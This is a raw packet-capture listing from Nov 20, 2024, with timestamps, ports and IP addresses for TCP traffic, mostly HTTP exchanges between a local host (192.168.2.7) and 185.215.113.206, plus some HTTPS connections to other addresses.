Nov 20, 2024 21:05:49.684875965 CET	49846	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:49.684931040 CET	443	49846	23.200.88.30	192.168.2.7
Nov 20, 2024 21:05:49.736916065 CET	49846	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:49.764051914 CET	443	49841	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.764117956 CET	443	49841	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.764192104 CET	49841	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.764669895 CET	49841	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.764698029 CET	443	49841	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.764708996 CET	49841	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.764714003 CET	443	49841	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.770591021 CET	49857	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.770689964 CET	443	49857	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.770776987 CET	49857	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.771002054 CET	49857	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.771029949 CET	443	49857	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.822858095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.822870016 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.822880983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.822892904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.822938919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.822993994 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.823460102 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.823576927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.823806047 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.823910952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.823929071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.823954105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.824680090 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.824754953 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.824760914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.824871063 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.825696945 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.825792074 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.826278925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.826332092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.829685926 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.829699039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.829761028 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.829761028 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.829843998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.829855919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.829866886 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.829876900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.829888105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.829907894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.829942942 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.830147028 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.830157995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.830169916 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.830180883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.830252886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.830252886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.830604076 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.832214117 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.832288980 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.832544088 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.832624912 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.833090067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.833141088 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.833251953 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.833316088 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.833954096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.834064007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.834084034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.834145069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.834417105 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.834466934 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.834841967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.834912062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.835504055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.835582018 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.836230040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.836292028 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.836361885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.836530924 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.836684942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.836796045 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.837179899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.837234974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.837338924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.837430954 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.838179111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.838247061 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.838335037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.838495970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.839056969 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.839068890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.839133024 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.839724064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.839947939 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.840471029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.840569019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.840645075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.840718031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.840990067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.841192961 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.841485023 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.841545105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.841974974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.842040062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.842304945 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.842523098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.842657089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.842720985 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.843326092 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.843374014 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.843697071 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.843708992 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.843719006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.843748093 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.843766928 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.844764948 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.844819069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.845252037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.845302105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.845753908 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.845765114 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.845802069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.846587896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.846761942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.846849918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.847680092 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.847733021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.847846985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.847886086 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.848340034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.848392963 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.848515987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.848608971 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.849009037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.849078894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.849724054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.849792957 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.850048065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.850059986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.850106955 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.850866079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.851031065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.851037025 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.851171970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.851681948 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.851749897 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.851850033 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.852003098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.852514029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.852689028 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.853014946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.853144884 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.853346109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.853358030 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.853406906 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.853430986 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.854237080 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.854255915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.854302883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.855068922 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.855124950 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.855580091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.855628014 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.855925083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.855984926 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.856086016 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.856256008 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.856729031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.856791019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.856893063 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.856986046 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.857688904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.857743979 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.857867956 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.857923031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.858382940 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.858541012 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.858757019 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.858817101 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.859251022 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.859308004 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.859447002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.859570026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.860126972 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.860261917 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.860501051 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.860582113 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.861008883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.861020088 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.861098051 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.861773968 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.861871958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.861929893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.861994982 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.862006903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.862018108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.862030983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.862044096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.862044096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.862073898 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.862689972 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.862736940 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.862739086 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.862790108 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.866101027 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.866111994 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.866209984 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.866807938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.866818905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.866905928 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.867130995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.867178917 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.867630959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.867643118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.867652893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.867691040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.867691040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.907823086 CET	443	49847	23.200.88.30	192.168.2.7
Nov 20, 2024 21:05:49.908334017 CET	49847	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:49.908356905 CET	443	49847	23.200.88.30	192.168.2.7
Nov 20, 2024 21:05:49.908683062 CET	443	49847	23.200.88.30	192.168.2.7
Nov 20, 2024 21:05:49.909003019 CET	49847	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:49.909075022 CET	443	49847	23.200.88.30	192.168.2.7
Nov 20, 2024 21:05:49.954169035 CET	49847	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:49.989800930 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.989885092 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.989998102 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.990143061 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.990173101 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.990187883 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.990195036 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.993311882 CET	49858	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.993385077 CET	443	49858	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.993477106 CET	49858	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.993638992 CET	49858	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.993669987 CET	443	49858	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:50.015698910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.015711069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.015847921 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.016170025 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.016341925 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.016509056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.016628981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.017096043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.017340899 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.017967939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.018134117 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.018135071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.018146992 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.018204927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.018204927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.018871069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.019011974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.019031048 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.019066095 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.019797087 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.019814014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.019921064 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.020548105 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.020689964 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.020695925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.020762920 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.021426916 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.021485090 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.021574020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.021753073 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.022219896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.022310019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.022386074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.022496939 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.023013115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.023097038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.023302078 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.023931026 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.023986101 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.024389982 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.024561882 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.024904013 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.024915934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.025048971 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.025557995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.025572062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.025702000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.026585102 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.026767969 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.026773930 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.026948929 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.027487040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.027503014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.027565002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.027565002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.028126955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.028244972 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.028281927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.028281927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.029014111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.029144049 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.029169083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.029294968 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.029767990 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.029927969 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.029963970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.029985905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.030117989 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.030132055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.030150890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.030163050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.030220985 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.030220985 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.030757904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.030823946 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.033011913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.033488989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.033977032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.033989906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.034109116 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.034840107 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.034979105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.035012007 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.035037041 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.035048962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.035200119 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.035444021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.036048889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.036129951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.036180973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.036237001 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.037234068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.037246943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.037317991 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.037817955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.037870884 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.038129091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.038187981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.038275957 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.038387060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.038444996 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.038600922 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.039215088 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.039227009 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.039302111 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.039968014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.040040970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.040141106 CET	80	49780	185.215.113.206	192.168.2.7
